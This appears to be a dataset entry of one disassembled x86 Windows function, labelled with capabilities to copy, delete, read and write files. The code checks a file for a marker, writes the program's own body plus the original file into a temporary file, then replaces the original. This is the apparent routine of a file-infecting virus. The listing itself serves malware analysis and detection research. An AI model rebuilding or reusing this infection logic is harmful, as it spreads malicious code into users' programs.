Function at 0x40767c
Capabilities:
Copy file
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff678
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x988], edx
mov dword [ebp - 0x984], edx
mov dword [ebp - 0x980], edx
mov dword [ebp - 0x97c], edx
mov dword [ebp - 0x978], edx
mov dword [ebp - 0x974], edx
mov dword [ebp - 0x970], edx
mov dword [ebp - 0x96c], edx
mov dword [ebp - 0x968], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404654
mov ebx, 0x40c6c4
mov esi, 0x40c6c0
mov edi, 0x40c6c8
xor eax, eax
push ebp
push 0x407aa5
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x964]
call fcn.00402ec8
mov eax, dword [0x40b188]
mov byte [eax], 0
mov edx, 1
lea eax, [ebp - 0x964]
call fcn.00403444
lea eax, [ebp - 0x964]
call fcn.004030e4
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x964]
call fcn.004030e4
mov edx, eax
lea eax, [ebp - 0x10]
call fcn.004047f0
push 0
lea eax, [ebp - 0x10]
call fcn.004046bc
mov edx, eax
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x964]
call fcn.00403018
lea eax, [ebp - 0x964]
call fcn.00403038
mov edx, dword [ebp - 0x10]
mov eax, 0x407abc
call fcn.004047a8
test eax, eax
jg 0x407a77
lea eax, [ebp - 0x815]
mov edx, 0x801
call fcn.0040508c
push 0
push 0x80
push 1
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x968]
mov ecx, 0x407ad4
mov edx, dword [ebp - 4]
call fcn.004044b0
mov eax, dword [ebp - 0x968]
call fcn.00404664
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebx], eax
lea edx, [ebp - 0x96c]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x96c]
call fcn.00407604
mov dword [0x40c7e0], eax
lea edx, [ebp - 0x970]
mov eax, dword [0x40c7e0]
add eax, 0x11
call fcn.00408db0
mov edx, dword [ebp - 0x970]
mov eax, 0x40c7e4
call fcn.00404240
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [0x40c7e4]
call fcn.00404664
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [esi], eax
push 0
lea eax, [ebp - 8]
push eax
push 0x800
lea eax, [ebp - 0x815]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_ReadFile_1
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x815]
push eax
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_WriteFile_1
cmp dword [ebp - 0xc], 0
jne 0x40781a
mov eax, dword [esi]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 4]
call fcn.00407604
mov dword [0x40c7e0], eax
lea edx, [ebp - 0x974]
mov eax, dword [0x40c7e0]
add eax, 0x11
call fcn.00408db0
mov edx, dword [ebp - 0x974]
mov eax, 0x40c7e4
call fcn.00404240
mov dword [edi], 0xfeedbeef
xor eax, eax
mov dword [edi + 4], eax
mov eax, dword [ebp - 4]
call fcn.00407564
mov dword [edi + 8], eax
mov dword [edi + 0xc], edx
mov byte [edi + 0x10], 0
mov eax, dword [0x40c7e0]
push esi
push edi
lea esi, [eax + 0x11]
add edi, 0x11
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop edi
pop esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0x118
push edi
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_WriteFile_1
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [0x40c7e4]
call fcn.00404664
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [esi], eax
push 0
lea eax, [ebp - 8]
push eax
push 0x800
lea eax, [ebp - 0x815]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_ReadFile_1
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x815]
push eax
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_WriteFile_1
cmp dword [ebp - 0xc], 0
jne 0x4078f7
mov eax, dword [esi]
push eax
call sub.kernel32.dll_CloseHandle_1
lea edx, [ebp - 0x978]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x978]
call fcn.00407604
mov dword [0x40c7e0], eax
lea edx, [ebp - 0x97c]
mov eax, dword [0x40c7e0]
add eax, 0x11
call fcn.00408db0
mov edx, dword [ebp - 0x97c]
mov eax, 0x40c7e4
call fcn.00404240
lea edx, [ebp - 0x980]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x980]
call fcn.00407564
mov dword [0x40c7e8], eax
mov dword [0x40c7ec], edx
mov dword [edi], 0xfeedbeef
xor eax, eax
mov dword [edi + 4], eax
mov eax, dword [0x40c7e8]
mov dword [edi + 8], eax
mov eax, dword [0x40c7ec]
mov dword [edi + 0xc], eax
mov byte [edi + 0x10], 1
lea eax, [edi + 0x11]
xor ecx, ecx
mov edx, 0x105
call fcn.00403130
push 0
lea eax, [ebp - 0xc]
push eax
push 0x118
push edi
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_WriteFile_1
lea eax, [ebp - 0x10]
mov edx, 0x407abc
call fcn.00404284
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
call fcn.00404464
push eax
lea eax, [ebp - 0x10]
call fcn.004046bc
push eax
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 4]
call fcn.00404664
mov ebx, eax
push ebx
call sub.kernel32.dll_DeleteFileA
push 0
push ebx
lea eax, [ebp - 0x984]
mov ecx, 0x407ad4
mov edx, dword [ebp - 4]
call fcn.004044b0
mov eax, dword [ebp - 0x984]
call fcn.00404664
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x988]
mov ecx, 0x407ad4
mov edx, dword [ebp - 4]
call fcn.004044b0
mov eax, dword [ebp - 0x988]
call fcn.00404664
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [0x40b180]
inc dword [eax]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407aac
lea eax, [ebp - 0x988]
mov edx, 9
call fcn.00404210
lea eax, [ebp - 0x10]
call fcn.004041ec
lea eax, [ebp - 4]
call fcn.004041ec
ret